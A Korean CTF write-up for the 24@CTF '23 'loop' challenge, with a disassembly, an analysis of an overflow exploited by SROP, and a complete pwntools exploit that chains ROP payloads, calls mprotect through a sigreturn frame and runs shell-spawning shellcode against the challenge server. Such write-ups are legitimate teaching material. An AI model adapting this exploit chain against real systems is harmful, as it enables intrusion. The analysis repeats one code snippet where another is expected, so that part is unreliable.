24@CTF ’23 – 루프

1. 인트로




두 번째 피 으악!!!

2. 코드 및 분석

2.1. 암호

0000000000401000 <_start>:
  401000:       bf 01 00 00 00          mov    $0x1,%edi
  401005:       48 be 00 20 40 00 00    movabs $0x402000,%rsi
  40100c:       00 00 00
  40100f:       ba 37 00 00 00          mov    $0x37,%edx
  401014:       b8 01 00 00 00          mov    $0x1,%eax
  401019:       0f 05                   syscall
  40101b:       48 31 c0                xor    %rax,%rax
  40101e:       48 c7 c3 ff ff ff ff    mov    $0xffffffffffffffff,%rbx
  401025:       e8 21 00 00 00          call   40104b <confirm>
  40102a:       48 85 c0                test   %rax,%rax
  40102d:       74 05                   je     401034 <exit>
  40102f:       e8 66 00 00 00          call   40109a <loop>

0000000000401034 <exit>:
  401034:       bf 00 00 00 00          mov    $0x0,%edi
  401039:       b8 3c 00 00 00          mov    $0x3c,%eax
  40103e:       0f 05                   syscall
  401040:       48 89 04 25 00 00 00    mov    %rax,0x0
  401047:       00
  401048:       ff cb                   dec    %ebx
  40104a:       c3                      ret

000000000040104b <confirm>:
  40104b:       55                      push   %rbp
  40104c:       48 89 e5                mov    %rsp,%rbp
  40104f:       48 83 ec 10             sub    $0x10,%rsp
  401053:       bf 01 00 00 00          mov    $0x1,%edi
  401058:       48 be 37 20 40 00 00    movabs $0x402037,%rsi
  40105f:       00 00 00
  401062:       ba 10 00 00 00          mov    $0x10,%edx
  401067:       b8 01 00 00 00          mov    $0x1,%eax
  40106c:       0f 05                   syscall
  40106e:       bf 00 00 00 00          mov    $0x0,%edi
  401073:       48 8d 75 f0             lea    -0x10(%rbp),%rsi
  401077:       ba 08 00 00 00          mov    $0x8,%edx
  40107c:       b8 00 00 00 00          mov    $0x0,%eax
  401081:       0f 05                   syscall
  401083:       48 31 c0                xor    %rax,%rax
  401086:       48 8b 45 f0             mov    -0x10(%rbp),%rax
  40108a:       3c 79                   cmp    $0x79,%al
  40108c:       74 05                   je     401093 <valid>
  40108e:       48 31 c0                xor    %rax,%rax
  401091:       eb 05                   jmp    401098 <return>

0000000000401093 <valid>:
  401093:       b8 01 00 00 00          mov    $0x1,%eax

0000000000401098 <return>:
  401098:       c9                      leave
  401099:       c3                      ret

000000000040109a <loop>:
  40109a:       55                      push   %rbp
  40109b:       48 89 e5                mov    %rsp,%rbp
  40109e:       48 83 ec 30             sub    $0x30,%rsp
  4010a2:       48 8d 7d d0             lea    -0x30(%rbp),%rdi
  4010a6:       e8 66 00 00 00          call   401111 <read_input>
  4010ab:       41 b8 21 00 00 00       mov    $0x21,%r8d

00000000004010b1 <repeat>:
  4010b1:       48 8d 7d d0             lea    -0x30(%rbp),%rdi
  4010b5:       4c 89 c6                mov    %r8,%rsi
  4010b8:       ba 21 00 00 00          mov    $0x21,%edx
  4010bd:       e8 0c 00 00 00          call   4010ce <write_string>
  4010c2:       49 ff c8                dec    %r8
  4010c5:       75 ea                   jne    4010b1 <repeat>
  4010c7:       48 31 c0                xor    %rax,%rax
  4010ca:       c9                      leave
  4010cb:       88 f8                   mov    %bh,%al
  4010cd:       c3                      ret

00000000004010ce <write_string>:
  4010ce:       57                      push   %rdi
  4010cf:       56                      push   %rsi
  4010d0:       52                      push   %rdx
  4010d1:       48 29 f2                sub    %rsi,%rdx
  4010d4:       48 01 fe                add    %rdi,%rsi
  4010d7:       bf 01 00 00 00          mov    $0x1,%edi
  4010dc:       b8 01 00 00 00          mov    $0x1,%eax
  4010e1:       0f 05                   syscall
  4010e3:       48 8b 74 24 10          mov    0x10(%rsp),%rsi
  4010e8:       48 8b 54 24 08          mov    0x8(%rsp),%rdx
  4010ed:       b8 01 00 00 00          mov    $0x1,%eax
  4010f2:       0f 05                   syscall
  4010f4:       48 be 5c 20 40 00 00    movabs $0x40205c,%rsi
  4010fb:       00 00 00
  4010fe:       ba 01 00 00 00          mov    $0x1,%edx
  401103:       b8 01 00 00 00          mov    $0x1,%eax
  401108:       0f 05                   syscall
  40110a:       48 31 c0                xor    %rax,%rax
  40110d:       5a                      pop    %rdx
  40110e:       5e                      pop    %rsi
  40110f:       5f                      pop    %rdi
  401110:       c3                      ret

0000000000401111 <read_input>:
  401111:       57                      push   %rdi
  401112:       bf 01 00 00 00          mov    $0x1,%edi
  401117:       48 be 47 20 40 00 00    movabs $0x402047,%rsi
  40111e:       00 00 00
  401121:       ba 15 00 00 00          mov    $0x15,%edx
  401126:       b8 01 00 00 00          mov    $0x1,%eax
  40112b:       0f 05                   syscall
  40112d:       5e                      pop    %rsi
  40112e:       bf 00 00 00 00          mov    $0x0,%edi
  401133:       ba 4d 01 00 00          mov    $0x14d,%edx
  401138:       b8 00 00 00 00          mov    $0x0,%eax
  40113d:       0f 05                   syscall
  40113f:       48 31 c0                xor    %rax,%rax
  401142:       c3                      ret

2.2. 분석하다

프로그램 시작 시 y/n 입력을 받아 y가 입력되면 루프 기능이 실행되고 n이 입력되면 종료 기능이 실행된다.

루프 함수 내부에서 다시 read_input 함수를 호출하여 0x14d만큼 입력을 받습니다.

또한 루프 함수 내에서 반복 함수가 연속적으로 실행되며 여기에 특정 문자열이 출력된다.

3. 취약점 검증 및 공격 준비

3.1. 약점

오버플로우로 인한 SROP.

3.2. 공격 준비

주요 취약점은 srop으로 모든 시스템 호출 후 eax 값을 0 또는 1로 변경하므로 eax 제어가 핵심입니다.

eax에 영향을 미치는 유일한 어셈블러 코드는

  4010cb:       88 f8                   mov    %bh,%al
  4010cd:       c3                      ret

하나있다

결국 알을 통제하려면 bh를 통제해야 한다는 이야기다.

이제 bh = al 이므로 bh를 조절할 수 있는 부분을 찾아보면

  4010cb:       88 f8                   mov    %bh,%al
  4010cd:       c3                      ret

하나있다

즉, 여러 번 돌려서 원하는 bh값을 만든 후 al에 넣고 syscall을 한다.

4. 악용

나는 Roderian과 많은 어려움을 겪었습니다.

가장 큰 문제는 페이로드를 반복적으로 전달해야 하는데 잘 전달되지 않았다는 것입니다.

그래서 하나씩 다시 해보면서 선언한 read의 크기만큼 모든 값을 넘겨야 제대로 실행되는 것을 확인했습니다.

여기서 고생했다

아래 페이로드에서 볼 수 있듯이 중간에 쓰기(1, 0x40400, 8)를 통해 값이 출력되고 이 값이 제대로 반환되면 다음 페이로드가 전달된다.

from pwn import *

#p=process('./loop')
p=remote('0.cloud.chals.io', 16672)

p.sendlineafter(b': ',b'y')

pay = b'A'*8*6
pay += p64(0x404008)
pay += p64(0x40110d)
pay += p64(0xfff)
pay += p64(0x00000000404000)
pay += p64(0)
pay += p64(0x401138)
pay += p64(0x4010ca)
pay += p64(0x404000)
pay += b'A'*(0x14c-len(pay))

p.sendlineafter(b'? ',pay)

for i in range(33):
    p.recvuntil(b'\n')

print('pay1 done')

for i in range(136):
    pay = (b'B'*7 + b'\n')
    pay += p64(0x404008)
    pay += p64(0x401043)*453
    pay += p64(0x40110d) 
    pay += p64(0x8)
    pay += p64(0x00000000404000)
    pay += p64(1)
    pay += p64(0x401103)
    pay += p64(0xfff)
    pay += p64(0x00000000404000)
    pay += p64(0)
    pay += p64(0x401138)
    pay += p64(0x4010ca)
    pay += p64(0x404008)
    pay += b'A'*(0xffe-len(pay))
    p.sendline(pay)
    p.recvuntil(b'BBB\n')
    print(i,'done')

print('pay1 done')

context.arch = "amd64"
frame = SigreturnFrame(arch="amd64")
frame.rax = 0xa
frame.rdi = 0x404000
frame.rsi = 0x1000
frame.rdx = 0x7
frame.rsp = 0x404f88
frame.rip = 0x40113d

pay2 = b'C'*0x7 + b'\n'
pay2 += b'A'*(0xe80-len(pay2))
pay2 += p64(0x4010cb)
pay2 += p64(0x40113d)
pay2 += bytes(frame)
pay2 += p64(0x40110d)
pay2 += p64(0x8)
pay2 += p64(0x00000000404000)
pay2 += p64(1)
pay2 += p64(0x401103)
pay2 += p64(0x100)
pay2 += p64(0x00000000404000)
pay2 += p64(0)
pay2 += p64(0x401138)
pay2 += p64(0x404000)
pay2 += p64(0x404000)
pay2 += b'A'*(0xffe-len(pay2))

print(hex(len(pay2)))
pause()
p.sendline(pay2)
p.recvuntil(b'C\n')
print('pay2 done')

shellcode = asm(shellcraft.sh())
shellcode += b'\x90'*(0xff - len(shellcode))
p.sendline(shellcode)
p.sendline('id')

p.interactive()